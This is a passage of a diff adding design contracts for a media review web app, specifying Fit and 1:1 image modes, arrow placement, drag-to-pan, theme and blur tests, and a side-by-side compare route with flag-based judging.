intersects the text or side column, at 390 / 720 / 1000 / 1400px.
|
||||
- `on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px`: a touch
|
||||
context (no hover, coarse pointer).
|
||||
- `the_lifetime_pill_class_is_kept_held_or_counting`: the class is chosen by
|
||||
state, the lifetime words are unchanged, and the pill is visible with no
|
||||
hover.
|
||||
- `the_row_controls_run_zip_keep_or_release_then_wipe`.
|
||||
- `reveal_all_reveals_every_blurred_surface_and_survives_the_next_page`: tiles
|
||||
and tray on the booth page, stage and filmstrip on the review, across a
|
||||
navigation in the same tab; a fresh tab (new context) is blurred again.
|
||||
- `reveal_all_never_reaches_the_desk`.
|
||||
- `the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review`: header
|
||||
and review forms POST `/blurbooth`; the label follows `is_booth_blurred`; the
|
||||
review form carries `back`; the Desk row shows `blurred`.
|
||||
- `reveal_all_survives_an_in_place_save`: after a save, the blur is still
|
||||
lifted, the control still reads "blur again" and still works, and the
|
||||
per-tile buttons are still hidden.
|
||||
- `reveal_all_on_booth_a_does_not_reveal_booth_b`.
|
||||
- `blur_again_restores_each_items_own_reveal`.
|
||||
- `reveal_all_is_absent_without_blurred_items_and_hidden_without_js`: no markup
|
||||
when nothing is blurred; with blurred items, the markup carries `hidden` and
|
||||
a JS-disabled context never shows it.
|
||||
- `a_storage_failure_still_applies_the_click`: sessionStorage and localStorage
|
||||
throwing on write; the reveal and the theme still apply to the page.
|
||||
- `the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live`:
|
||||
pressing Light/Dark changes `--surface-base` and survives a reload (new page,
|
||||
same context); System plus an emulated OS scheme flip changes it WITHOUT a
|
||||
reload.
|
||||
- `a_forced_theme_follows_high_contrast`: under `prefers-contrast: more`,
|
||||
forced dark resolves exactly what OS dark does, and forced light what OS
|
||||
light does. The check reads tokens that DIFFER between a theme and its
|
||||
high-contrast variant (`--text-faint`, `--border-default`; `--surface-card`
|
||||
is the same in both and would prove nothing), and asserts that high contrast
|
||||
actually changed them.
|
||||
- `a_forced_theme_and_the_os_theme_are_the_same_declarations`: each light copy
|
||||
equals the other and declares the dark block's property set plus the four
|
||||
art-light values; each light-hc copy equals the other and declares exactly
|
||||
the dark-hc block's.
|
||||
- `created_and_updated_are_dated_facts_and_none_says_nothing`,
|
||||
`updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date`,
|
||||
`a_date_no_calendar_can_hold_renders_nothing_and_never_500s`,
|
||||
`an_age_is_said_in_its_largest_whole_unit` (D1b).
|
||||
- `a_rows_booth_name_comes_before_its_controls_in_tab_order`,
|
||||
`the_pill_shows_at_rest_and_focus_reveals_the_controls`,
|
||||
`with_scripts_off_a_rows_controls_still_act` (D1).
|
||||
- `a_theme_chosen_in_one_tab_moves_the_others`,
|
||||
`the_theme_marks_only_the_ask_fragments_we_mounted` (D3).
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| test_flow_browser `test_a_rows_keep_release_and_wipe_take_no_room_of_their_own` | controls visible at rest; a row with no badge has no side column (gap ≤14px) | replaced by `the_row_controls_take_no_room_where_a_hover_exists` | the operator ruled hover-reveal; the side column now always holds the lifetime pill |
|
||||
| test_flow_browser `test_on_a_touch_screen_the_row_controls_keep_their_tap_floor` | measures `.desk-facts form button` | the same floor, measured on `.desk-acts` controls | the controls moved; the floor did not |
|
||||
| test_flow_browser `test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open` | clicks the row's wipe at rest | hovers the row first, then clicks | wipe is hidden until hover (OPEN-1, answered yes) |
|
||||
| tests/mutations/r2_flow.toml, four rows on the facts-line controls | proved the controls visible at rest on the facts line | retired, with successors in r2b.toml | their tests were replaced, as declared above |
|
||||
|
||||
## Out of scope
|
||||
|
||||
- The booth page header's keep / release / wipe (`.keep-lg`, `.wipe-lg`) — the
|
||||
rulings named the Desk row.
|
||||
- A site-wide blur switch (ruling A, not B).
|
||||
- The tagline copy.
|
||||
@@ -0,0 +1,198 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-23 by design-dev; heid contract panel (4/4) folded, from the operator's ask relayed by booth-dev (thread 01M38FPYAY5RSMSB9BGQ23CFM7) and his ruling 'Fit may enlarge' (thread 01M38EESKR8T7A8XMCQPHRNP0E). Sequenced after r2b and before r3 (compare), so compare reuses this machinery rather than growing a second copy."
|
||||
module: "templates/view.html + base.html CSS (the review stage: fit / 1:1, the prev/next arrows, drag-pan)"
|
||||
purpose: "The operator, verbatim: 'fit and 1:1 modes as well as moving the forward and back arrows closer to the edge of the image instead of out at the edges unless the image spans the entire width. mouse click and pan for 1:1 mode if it exceeds page width (defeat drag drop of image)'. Fit/1:1 exists but hides whenever a picture fits at natural size, and Fit never enlarges, so the two modes often look identical and the toggle comes and goes from picture to picture. The arrows sit at the stage's edges, hundreds of pixels from a portrait picture. 1:1 pans only by scrollbars, and a drag picks the picture up."
|
||||
depends_on:
|
||||
- "view.html (R2 C6): the stage `#vstage` (server-rendered `vstage fit`), `#vimg`, `#vtoggle` with `#btn-fit`/`#btn-one`, the `.vnav.vprev`/`.vnav.vnext` anchors inside `.review-body`, the review keys and their `isEditable` guard."
|
||||
- "base.html: `.vstage`, `.vstage.fit`, `.vstage.one`, `.review-body` (grid: stage + 360px rail; stacked at <=900px)."
|
||||
- "r2b D2: Reveal all and the stage's own reveal (`#vreveal`) — untouched; they read the blur classes, not the fit classes."
|
||||
language: "jinja + css + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 220
|
||||
confidence: 0.7
|
||||
touches:
|
||||
- "booth/templates/view.html (the toggle markup; the stage-mode script; the arrow placement; drag-pan)"
|
||||
- "booth/templates/base.html (Fit-fills CSS; 1:1 cursor; the stage reveal's position; `stage-one` in the head script)"
|
||||
- "tests/test_flow.py, tests/test_flow_browser.py; tests/mutations/r2c.toml (new)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, per r2: the stage mode is a per-browser preference."
|
||||
- "No server change: every part of this is markup, CSS and page script."
|
||||
---
|
||||
|
||||
# R2c — the review stage
|
||||
|
||||
## S1 — Fit fills; 1:1 is the pixel truth
|
||||
|
||||
- **Fit scales the picture to the largest size at which it is WHOLE inside the
|
||||
stage, UP or down, undistorted** (ruling "Fit may enlarge"): contain, never
|
||||
cover — nothing is ever cropped in Fit. It is CSS: the image box fills the
|
||||
stage and `object-fit: contain` places the picture in it. So the no-JS render
|
||||
is also Fit-fills — a declared change to R2's INV-3 note ("with scripts off
|
||||
the image shows at fit size"): the size changes, the promise (one picture at a
|
||||
readable size, no judgment behind a script) holds.
|
||||
- The drop shadow follows the picture's own pixels (`drop-shadow`), not the
|
||||
letterboxed box, on every path: blurred (`blur() drop-shadow()`, because
|
||||
`filter` is one property and a blur rule would replace the shadow),
|
||||
revealed, and under Reveal all.
|
||||
- **1:1 shows natural pixels**, centred when smaller than the stage and
|
||||
scrollable when larger, with EVERY pixel reachable. The stage aligns to its
|
||||
START edge in 1:1, and the picture's auto margins centre it when it is
|
||||
smaller. A centred flex item larger than its scroll box overflows both
|
||||
sides, and the start side can never be scrolled to (heid code-review,
|
||||
measured: a 3000px picture hid its leftmost 980px). The upscale softness in Fit is exactly why 1:1 exists
|
||||
and is always one click away.
|
||||
|
||||
## S2 — the toggle is always there for a picture
|
||||
|
||||
- **Fit | 1:1 shows for EVERY picture**, never hidden because a picture happens
|
||||
to fit — that per-picture hide is why the operator could not find the
|
||||
feature. Video and audio still get no toggle.
|
||||
- It is in the markup with `hidden` for pictures only; the script removes
|
||||
`hidden`. Without JS it never shows (Fit-fills needs no toggle).
|
||||
- **The mode persists across prev/next, per browser**: every click writes
|
||||
`localStorage["booth.fit"]` = `one` or removes it (Fit); arrowing through a
|
||||
set in 1:1 is how detail gets compared.
|
||||
- **The mode is ONE class on `<html>`, `stage-one`** (absent = Fit), set by
|
||||
the early `<head>` script — the one r2b uses for the theme and Reveal all —
|
||||
BEFORE THE STAGE EXISTS in the document. So no paint can ever show a 1:1
|
||||
reel's stage in Fit: the class is there before the stage is parsed. The
|
||||
stage's CSS keys off it (`.stage-one .vstage`); the server renders the
|
||||
stage as plain `vstage` (Fit is the default, no class needed).
|
||||
- A stored value other than `one` reads as Fit. A read that throws reads as
|
||||
Fit; a write that throws still applies the click, the pressed state
|
||||
included. Never raises.
|
||||
- A mode chosen in another tab moves every open review (the `storage` event),
|
||||
as the theme does.
|
||||
- The buttons' pressed state is drawn from the `<html>` class, the one
|
||||
record of the mode on the page (storage is its memory, off the page).
|
||||
|
||||
## S3 — the arrows sit at the picture
|
||||
|
||||
- **Each arrow sits wholly outside the picture's DRAWN edge, its near edge 8px
|
||||
from the picture**, vertically centred on the stage. The measure is always
|
||||
the DRAWN picture, never the file's natural size: the `object-fit: contain`
|
||||
content box (from the natural size and the box). In 1:1 (scale 1) that IS the
|
||||
picture's own box, and where it runs past the stage the clamp keeps the arrows
|
||||
inside. A
|
||||
video's own box counts the same way; audio keeps the stage-edge arrows.
|
||||
- **Clamped to the stage's CLIENT box**: an arrow never goes past the stage's
|
||||
edge (8px inset), never over the rail, never off the stage, and never under
|
||||
a classic scrollbar (the client box excludes it). When there is no room for
|
||||
it outside the drawn picture — the drawn picture spans, or nearly spans, the
|
||||
stage's width — it sits at the stage edge, over the picture. That is the
|
||||
ONLY case the arrows sit at the stage edge (the operator: "closer to the edge
|
||||
of the image instead of out at the edges unless the image spans the entire
|
||||
width").
|
||||
- Re-placed on picture load (or at once when it is already loaded), stage
|
||||
resize (a `ResizeObserver`, which covers window resizes and the rail
|
||||
stacking) and mode switch. (Scrolling a 1:1 picture cannot move its drawn
|
||||
horizontal edges past the clamp, so it needs no re-placement.)
|
||||
- **Before the picture's size is known** (JS on, picture still loading), and if
|
||||
it fails to load, the arrows stay at their CSS spot; they move once the drawn
|
||||
box is known. Without JS they stay there. If the size ever becomes unknown
|
||||
again, a placed arrow returns to that spot rather than keeping a stale one.
|
||||
- That CSS spot is the STAGE's vertical centre. When stacked (≤900px) that
|
||||
is 30vh down: the stage is the body's first 60vh, and centring on the
|
||||
whole body put the arrows over a tall rail (heid code-review). The rule
|
||||
lives in view.html after `.vnav`, because a base.html rule loses to the
|
||||
page's own later one.
|
||||
- The anchors, their classes and their hrefs are unchanged (test_booth,
|
||||
test_navigation, test_flow pin them).
|
||||
|
||||
## S4 — drag to pan in 1:1
|
||||
|
||||
- **In 1:1, when the picture overflows the stage on EITHER axis,
|
||||
press-and-drag pans it**, along whichever axes overflow. `grab` cursor at rest,
|
||||
`grabbing` while dragging, pointer capture.
|
||||
- **The picture follows the pointer** (the grab convention): a drag of +dx,
|
||||
+dy changes the stage's scroll by −dx, −dy.
|
||||
- A press that moves less than 4px IN TOTAL (Euclidean) is not a drag:
|
||||
nothing pans. A (3, 3) diagonal is 4.24px, so it pans.
|
||||
- A press on the stage's own scrollbar is the scrollbar's, never a pan.
|
||||
- The drag is CAPTURED once it begins, so it keeps panning past the stage's
|
||||
edge. A press released outside the stage before the drag began never
|
||||
becomes a pan: a move with no button held ends it.
|
||||
- **Pan listens on the stage only**, and no control is in the stage's
|
||||
scrolled content: the arrows never were, and **the stage's own reveal
|
||||
button moves OUT of the stage to sit over it** (found building this: in
|
||||
1:1 a panned picture carried the button out of view with it). So a control
|
||||
is never a pan source and keeps its own click, at any scroll.
|
||||
- That reveal is JS-only, so it renders `hidden` until the script binds it,
|
||||
the toggle's pattern (heid bug-hunt: shown with scripts off, it did
|
||||
nothing). A revealed picture keeps Fit's drop shadow.
|
||||
- Accepted: no `touch-action`. On touch the stage scrolls natively, and the
|
||||
pan yields on `pointercancel`; `none` would take native touch scrolling
|
||||
away. The `dragstart` `preventDefault` sits beside `draggable=false` as a
|
||||
second layer.
|
||||
- **The picture cannot be dragged away**: `draggable="false"` on `#vimg` and a
|
||||
`dragstart` `preventDefault` on the stage.
|
||||
- Fit, or a 1:1 picture that fits: no pan, no grab cursor.
|
||||
- Keys, the stage reveal, Reveal all, the rail and the filmstrip are
|
||||
unchanged.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — no server change.** Markup, CSS, page script.
|
||||
- **INV-2 — JS-off parity.** Without JS: Fit-fills, stage-edge arrows, no
|
||||
toggle, no pan, and every judgment (the rail's flag, note and pick forms) and
|
||||
navigation (the arrows and the filmstrip) intact.
|
||||
- **INV-3 — one record of the mode** on the page: `stage-one` on `<html>`.
|
||||
- **INV-4 — the arrows never cover the rail and never leave the stage.**
|
||||
- **INV-5 — storage never raises**, read or write.
|
||||
|
||||
## TESTS
|
||||
|
||||
- `fit_fills_the_stage_up_or_down` [tracer]: a picture smaller than the stage
|
||||
and one larger both draw at the scale `min(W/w, H/h)` in Fit — the contain
|
||||
content box, never cropped — and at natural size in 1:1.
|
||||
- `the_toggle_shows_for_every_picture_and_never_without_js`: a picture that
|
||||
fits at natural size still gets the toggle; video and audio do not; with JS
|
||||
off it never shows.
|
||||
- `the_mode_persists_across_prev_next_and_never_flashes`: choose 1:1, press
|
||||
→ ; an observer installed before any page script records `<html>`'s class at
|
||||
the moment the stage ELEMENT is inserted by the parser — it is already
|
||||
`stage-one` (so no paint can show that stage in Fit); storage throwing still
|
||||
applies the click; a stray stored value reads as Fit.
|
||||
- `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage`: a portrait
|
||||
picture whose natural width exceeds the stage but which is DRAWN narrower
|
||||
(height-bound in Fit) — each arrow wholly outside the drawn picture, its near
|
||||
edge 8px (±2) from it; a landscape drawn as wide as the stage — arrows inside
|
||||
the stage at its edges, over the picture, never over the rail; after a window
|
||||
resize they follow the new drawn box.
|
||||
- `in_one_to_one_every_pixel_of_a_large_picture_is_reachable`: at scroll
|
||||
(0, 0) the picture's top-left is the stage's; at the far scroll its
|
||||
bottom-right is; a small picture is centred.
|
||||
- `a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover`: a drag
|
||||
carried past the stage's edge keeps panning; a press released outside,
|
||||
then a buttonless hover, pans nothing.
|
||||
- `before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen`:
|
||||
JS off at 390px with a rail taller than the stage, the arrows sit within
|
||||
the stage; a picture that fails to load leaves them unplaced, with no error.
|
||||
- `the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow`.
|
||||
- `a_stage_mode_chosen_in_one_tab_moves_the_others`.
|
||||
- `a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan`: with a forced 15px
|
||||
classic bar (asserted real first: headless Chromium hides scrollbars), the
|
||||
next arrow sits inside the client box, and a press dispatched on the bar
|
||||
pans nothing.
|
||||
- `a_picture_that_overflows_one_axis_pans_along_it`.
|
||||
- `in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away`: a picture
|
||||
overflowing both axes in 1:1 — a drag of (+80, +60) changes the scroll by
|
||||
(−80, −60); a 2px press pans nothing; a press on the stage's reveal button
|
||||
reveals and does not pan; `#vimg` is `draggable=false`; in Fit a drag does not
|
||||
scroll.
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| test_flow_browser `test_the_next_arrow_clears_the_rail_only_beside_it` | the next arrow's computed `right` is 360px wide / 0px narrow | replaced by `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage` (never over the rail; at the picture's edge) | the arrows now track the picture, not the stage edge (operator) |
|
||||
| test_flow_browser `test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page` (r2b) | the revealed review stage's filter is `none` | it carries no blur (`blur(` absent); Fit's `drop-shadow` stays | the stage keeps its shadow on every path (S1) |
|
||||
| tests/mutations/r2_flow.toml, the row on the next arrow's 360px offset | proved `.vnext{right:360px}` wide / 0 narrow | retired, with successors in r2c.toml | its test was replaced (row one above) |
|
||||
| test_flow `test_only_a_picture_gets_the_fit_toggle_and_blur_stays_honest` | `id="vtoggle"` present for a picture (hidden by inline style); the stage is `class="vstage fit is-blurred"` | the same presence, now with the `hidden` attribute; the stage is `class="vstage is-img is-blurred"` | the toggle is `hidden` until the script shows it; the mode moved to `<html>` (never flash); `is-img` scopes the picture-only 1:1 rules |
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Synced pan / the same crop across items, and two panes: r3 (compare).
|
||||
- A zoom level between Fit and 1:1, wheel zoom, pinch.
|
||||
- A key for the mode toggle.
|
||||
@@ -0,0 +1,345 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-24 by design-dev. The operator ruled compare into this arc on 2026-09-23 (the `flow` mark: compare `this_arc`, as C 'The Bench' made a view toggle). He ruled its two open questions on 2026-09-24, in design-dev's session: pairs are PICKED, never detected; the verdict is a FLAG on the winner, with no A/same/B record. booth-dev agreed with both beforehand (thread 01M3952NCDRRJX5XDFSPMSP5HJ), and asked that the URL be keyed by rel. It reuses r2c's stage machinery rather than growing a second copy."
|
||||
module: "GET /b/{name}/compare + templates/compare.html (two stages, one judgment each), with the stage machinery shared with view.html"
|
||||
purpose: "Put two items of a booth side by side in two equal stages (and, for pictures of the same size in 1:1, at the same crop), so the operator can judge which is better and flag the winner, then step to the next pair. This is the job the ladders and bakeoffs already run by eye across two tabs. sindra-bakeoff is the proving case: m against r, the same scene and seed, 16 pairs. It is laid out as two parallel runs in sorted order, so a linked step walks it pair by pair with no pairing rule."
|
||||
depends_on:
|
||||
- "items.py: `booth_items`, `review_chain` (the media ring, in item order), `find_item`, `REVIEW_KINDS`, `Item.{rel,url,kind,ordinal,caption,blurred,thumb}`."
|
||||
- "app.py: `resolve_booth`, `record_view`, `record_seen` (never raises), `marks_for` / `flagged_targets`, `_mark_redirect` (the JS-off landing, gains `back=compare`), `_mark_done` (the 204 path, unchanged)."
|
||||
- "view.html (R2 C6 + r2c): the review this is entered from; its stage script (Fit/1:1 as `stage-one` on <html>, drag-pan) is the machinery this unit shares."
|
||||
- "base.html: the head script that sets `stage-one` from `localStorage['booth.fit']` before any stage exists; the in-place client (`form[data-inplace]` -> 204 -> swap every `data-region`, then `booth:swapped`); Reveal all."
|
||||
language: "python (one route, one redirect branch) + jinja + css + javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 420
|
||||
confidence: 0.75
|
||||
touches:
|
||||
- "booth/app.py (the compare route; `_mark_redirect` gains `back=compare`)"
|
||||
- "booth/templates/compare.html (new)"
|
||||
- "booth/templates/_stage_js.html (new: the stage machinery, moved out of view.html and shared)"
|
||||
- "booth/templates/view.html (includes _stage_js.html; gains the Compare entry and its C key)"
|
||||
- "booth/templates/base.html (compare layout CSS)"
|
||||
- "tests/test_compare.py, tests/test_compare_browser.py (new); tests/mutations/r3.toml (new)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, as in R2: the linked toggle and the active side are per page load; the stage mode stays the r2c per-browser preference."
|
||||
- "No new storage and no new mark shape (the operator's ruling): the verdict is the existing flag, through the existing in-place POST."
|
||||
- "A pair is two items of the same booth's review ring. Comparing across booths is not this unit."
|
||||
---
|
||||
|
||||
# R3 — compare
|
||||
|
||||
## C1 — the route and the pair
|
||||
|
||||
- **`GET /b/{name}/compare?a=<rel>&b=<rel>`.** Both are booth-relative paths,
|
||||
exactly as `view?f=<rel>` takes one (U1 identity). **Never ordinals**: an
|
||||
ordinal is a position in the set as it is now (r2_flow, row 4). A file added
|
||||
mid-bakeoff shifts every later ordinal, so a bookmarked compare would open two
|
||||
different pictures and nothing would look wrong (booth-dev's seam note). The
|
||||
page PRINTS both ordinals.
|
||||
- **The rule for each side is a CONJUNCTION** (booth-dev's seam pass, S2). The
|
||||
review's rule alone is not enough, and neither is ring membership alone:
|
||||
1. the view route's resolve / containment / `is_file` check passes. That is
|
||||
what 404s a symlink pointing outside the booth, which `booth_items` DOES
|
||||
list, because it follows symlinks;
|
||||
2. AND the rel is in `review_chain(items)`. The review does not 404 a doc
|
||||
item (it renders it); compare does.
|
||||
Anything else is a **404**, never a 500: an embedded NUL raises ValueError
|
||||
and is a 404.
|
||||
- **A missing or empty param is a 404, not FastAPI's 422.** The review
|
||||
declares `f: str` and so answers 422 when `f` is absent. Compare declares
|
||||
`a: str = ""` and `b: str = ""`, 404s an empty one, and checks each with the
|
||||
same `isinstance(str)` that `_mark_redirect`'s `back=view` branch gives `f`
|
||||
(the view route itself declares `f: str` and checks nothing more).
|
||||
- **Route order:** the compare route is registered BEFORE the catch-all
|
||||
`/b/{name}/{filepath:path}`, as view is. Accepted, and written down: a booth
|
||||
FILE literally named `compare` is unreachable at `/b/<name>/compare`. This
|
||||
is the same shadowing view, marks, asks and embed.json already cause.
|
||||
- `a == b` is allowed. It is pointless but harmless: the same picture twice.
|
||||
- **A look records both.** `record_view(booth)` once, and `record_seen` for `a`
|
||||
and then for `b`, below the 404s and gated on the records, as the view route
|
||||
gates it. Both calls never raise.
|
||||
- **The compare ring** is the review ring filtered by that same conjunction:
|
||||
item order, media only, less anything compare would 404 (an outside symlink
|
||||
stays in the review ring). EVERY compare link is built from it: the strip,
|
||||
the steps, the review's Compare control and the `back=compare` landing. So
|
||||
no navigation offers a pair that 404s, and a step walks over such an item.
|
||||
- **Each rel is judged ONCE per request** (booth-dev, after the merge). The
|
||||
route builds the compare ring once and judges both sides by membership of
|
||||
it. Resolving a rel twice lets a file that vanishes between the two reach a
|
||||
lookup that raises, a 500. The review re-judges its own item first and scans
|
||||
forward for the next comparable one; when its item is no longer comparable,
|
||||
the review renders WITHOUT a Compare control (and `C` does nothing), never a
|
||||
500.
|
||||
- The response carries, per side: the rel, its quoted url, ordinal, kind,
|
||||
caption, blurred, flagged and thumb. It also carries the compare ring as a
|
||||
filmstrip in RING ORDER (the view route's `film`, one line in the route's docstring),
|
||||
the linked and per-side step targets (C3), the back link (the review of `a`,
|
||||
which is also where `Esc` goes), and `ord_width`.
|
||||
|
||||
## C2 — picking the two
|
||||
|
||||
- **From the review:** a `Compare` control in the review's top bar, and the key
|
||||
`C`, open `compare?a=<this item>&b=<the next item in the ring>`. With a ring
|
||||
of one item, `b` is the item itself.
|
||||
- **On the compare page, the filmstrip is the picker.**
|
||||
- Each frame is marked `A`, `B`, or nothing (both marks when `a == b`).
|
||||
- With JS, a click on a frame sets the ACTIVE side to that item and stays on
|
||||
the compare page. The active side defaults to B.
|
||||
- The active side wears the SVOS reticle (the one selection device). A press
|
||||
on either stage (pointerdown, so starting a 1:1 pan there also makes it
|
||||
active), or the key `X`, makes that side (or the other) active.
|
||||
- **The active side lives on a NON-region element**, the side's wrapper
|
||||
around its stage, and in the URL's `side` (C2), rewritten in place when it
|
||||
changes. An in-place save swaps regions (strip, labels, flags), and
|
||||
the in-place client carries only `revealed` and `is-closed` across a swap,
|
||||
so state kept on a region would be dropped. The strip's markers for the
|
||||
ACTIVE side are re-applied on `booth:swapped`. Strip clicks are delegated at
|
||||
the document, because the frames are replaced.
|
||||
- Without JS, every frame is a link that sets the active side from the URL
|
||||
(B by default): `compare?a=<a>&b=<frame>`.
|
||||
- **The view state rides in the URL too**, because every pick and step is a
|
||||
navigation, and state kept only in the page would reset on each one:
|
||||
- `side=a` makes A the active side (absent means B);
|
||||
- `link=0` unlinks the stepping (absent means linked).
|
||||
These are view state, not identity: an unknown value reads as the default,
|
||||
never as an error, and every server-built link carries the current values
|
||||
forward. The PAIR is still only the two rels. The route declares
|
||||
`side: str = ""` and `link: str = ""`, NOT an int or a Literal, which would
|
||||
bring S1's 422 back for `link=maybe`.
|
||||
- **Why B is the default active side:** A is where you came from, the anchor.
|
||||
B is what you are weighing it against, so a strip pick changes the
|
||||
comparison and not the anchor. `X` or a click on A makes A active.
|
||||
- The picked pair is ALWAYS in the URL. Every pick and every step is a
|
||||
navigation (a FULL page load) to a compare URL. The linked state and the
|
||||
active side survive it only because they ride the URL too (above); nothing
|
||||
else about the page is carried across a step, so the back button walks back through the pairs,
|
||||
and a reload shows the same pair.
|
||||
|
||||
## C3 — stepping
|
||||
|
||||
- **Linked (the default):** `←` and `→` move BOTH sides one place along the
|
||||
ring, keeping their distance: `(ia ± 1, ib ± 1)`, each modulo the ring
|
||||
length (the review's wrap). This walks a bakeoff's parallel runs: `#09 · #25`,
|
||||
then `#10 · #26`.
|
||||
- **Unlinked:** `←` and `→` move only the ACTIVE side.
|
||||
- The `Linked` toggle sits in the top bar, with the key `L`. Its state is the
|
||||
URL's `link` (C2): toggling it rewrites the current URL in place
|
||||
(`history.replaceState`) and the step links, so the next step keeps it. A
|
||||
fresh compare from the review starts linked. It is not stored anywhere
|
||||
else: a remembered unlinked state would surprise the next compare.
|
||||
- `Space` and `Shift+Space` act as `→` and `←`, with the review's guard: never
|
||||
from a focused control, and never while a player on either stage has focus.
|
||||
- **Every key on this page** (`←` `→` `Space` `A` `B` `X` `L` `Z` `C` `Esc`) is
|
||||
ignored while focus is in something editable, and whenever a modifier
|
||||
(Ctrl, Meta, Alt) is held: the review's `isEditable` rule, applied to all of
|
||||
them, not only to Space.
|
||||
- `C` and `Esc` both return to the review of A. `C` is the view toggle: `C` in
|
||||
the review opens compare with that item as A, and `C` again goes back to it.
|
||||
- Without JS, the page renders plain links for "both back", "both forward",
|
||||
and each side's back and forward, with server-computed targets.
|
||||
|
||||
## C4 — the stages
|
||||
|
||||
- **Two stages side by side** when the viewport is wider than 900px. Each is
|
||||
half the body and labelled `A #09 <name>` / `B #25 <name>`. At 900px and
|
||||
below they STACK, A above B, each at most 45vh tall. The stack break is the
|
||||
review's.
|
||||
- **The two stages are always the same size.** The sides share one set of rows
|
||||
(subgrid), so a caption under one side takes its height from both stages,
|
||||
never from that side's alone, and the separator between them is a column
|
||||
gap, never a border that comes out of one side's width. Two stages of
|
||||
different sizes would draw the same picture at two scales in Fit.
|
||||
- **At phone width (600px and below) a top bar that cannot hold its controls
|
||||
WRAPS** instead of scrolling the page sideways or crushing a control. The
|
||||
rule is on `.vbar`, so it applies to every bar of that class: compare's, the
|
||||
review's (which gains the Compare control, only its glyph below 600px), and
|
||||
doc.html's. The review's bar was already full: a fogged booth
|
||||
overflowed it by 3px at 390px before r3.
|
||||
- **Each stage is the r2c stage:** Fit fills (up or down, contain, never
|
||||
cropped), or 1:1 at natural pixels with every pixel reachable. Drag pans a
|
||||
1:1 picture that overflows. The picture cannot be dragged away. Video and
|
||||
audio play in their own stage.
|
||||
- **One mode for both:** the SAME `stage-one` class on `<html>` and the same
|
||||
`localStorage['booth.fit']`. Choosing 1:1 on the compare page is choosing it
|
||||
for the review, and back, because the mode is a per-browser preference
|
||||
(r2c S2). The `Fit | 1:1` toggle is in the top bar. The key `Z` switches
|
||||
it ON THE COMPARE PAGE ONLY, bound by compare.html and not by the shared
|
||||
include, so the review gains no key beyond `C` (INV-6). Provenance: r2c's
|
||||
out-of-scope lists "a key for the mode toggle" as its own line, not parked
|
||||
into r3. Compare takes it because comparing detail means switching modes
|
||||
often.
|
||||
- **Synced pan (parked into r3 by r2c): in 1:1, panning either stage pans the
|
||||
other to the SAME FRACTION of its scrollable range**, on each axis
|
||||
independently.
|
||||
- For two pictures of the same size, that is the same crop: the same pixels
|
||||
under the same point.
|
||||
- A side with nothing to scroll on an axis ignores that axis.
|
||||
- A scroll caused by the sync never re-triggers a sync, so there is no loop
|
||||
and no drift.
|
||||
- Scrollbars and wheel/trackpad scrolling sync the same way as drags, because
|
||||
the sync listens to `scroll`, not only to drags.
|
||||
- **One copy of the machinery, behind a stated interface** (S7: today's script
|
||||
is single-instance and ID-keyed, and `settle` is `place` + `pannable`). The
|
||||
include `_stage_js.html` defines two things and binds nothing by itself:
|
||||
- **`BoothMode.bind({toggle, fit, one, onChange})`: page level.** It owns the
|
||||
`stage-one` class, `setMode`, the pressed state, the storage writes and the
|
||||
cross-tab `storage` listener. It never raises. A page binds it ONLY when at
|
||||
least one of its stages is an image, which is the review's rule today; two
|
||||
videos get no toggle.
|
||||
- **`BoothStage.attach(stageEl, {img, onSettle})`: once per stage.** It owns
|
||||
`pannable()`, drag-to-pan (the 4px threshold, capture, scrollbar exclusion,
|
||||
`dragstart` prevention) and the stage's `can-pan` / `is-grabbing` classes.
|
||||
It calls `onSettle()` after its own settle, and it returns
|
||||
`{settle, pannable}`.
|
||||
- **view.html:** attaches its one stage with `onSettle = place`, so the
|
||||
arrows stay view's own code. It binds `BoothMode` exactly as today, and
|
||||
keeps EVERY id it has (`vstage`, `vimg`, `vtoggle`, `btn-fit`, `btn-one`,
|
||||
`vreveal`, `vmedia`, `vflag-btn`), because test_flow_browser queries them.
|
||||
Its reveal, keys, `centreFilm` and ResizeObserver stay in view.html. It
|
||||
has no floating arrows to add.
|
||||
- **compare.html:** attaches both stages and binds `BoothMode` once, with an
|
||||
`onChange` that settles both. Its per-side reveal buttons are its own code.
|
||||
It owns its OWN `ResizeObserver` over both stages, calling each stage's
|
||||
`settle`, because `pannable` changes on resize. `BoothStage.attach` does
|
||||
NOT own a ResizeObserver, so view.html's observer, and its mutation row,
|
||||
stay where they are.
|
||||
|
||||
## C5 — judging
|
||||
|
||||
- **Each side has its own flag control**, the existing flag form (`POST
|
||||
/b/{name}/flag`, `data-inplace`, 204 with JS). The verdict is "flag the
|
||||
winner", and flagging both is allowed. **What a flag records, stated plainly
|
||||
because it is the ruled trade-off:** a flag says "this one is good". Both
|
||||
flagged means both are good. Neither flagged means no call, OR a tie, and
|
||||
the flags cannot tell those apart. That is exactly why the A/same/B record
|
||||
was parked, not an oversight. Flagging the loser is the operator's
|
||||
prerogative; the page does not police it.
|
||||
- Keys: `A` toggles A's flag and `B` toggles B's. No `F` on this page,
|
||||
because which side it meant would be a guess. Each key LOOKS UP ITS BUTTON
|
||||
AGAIN at press time, because a save may have replaced it (the review's
|
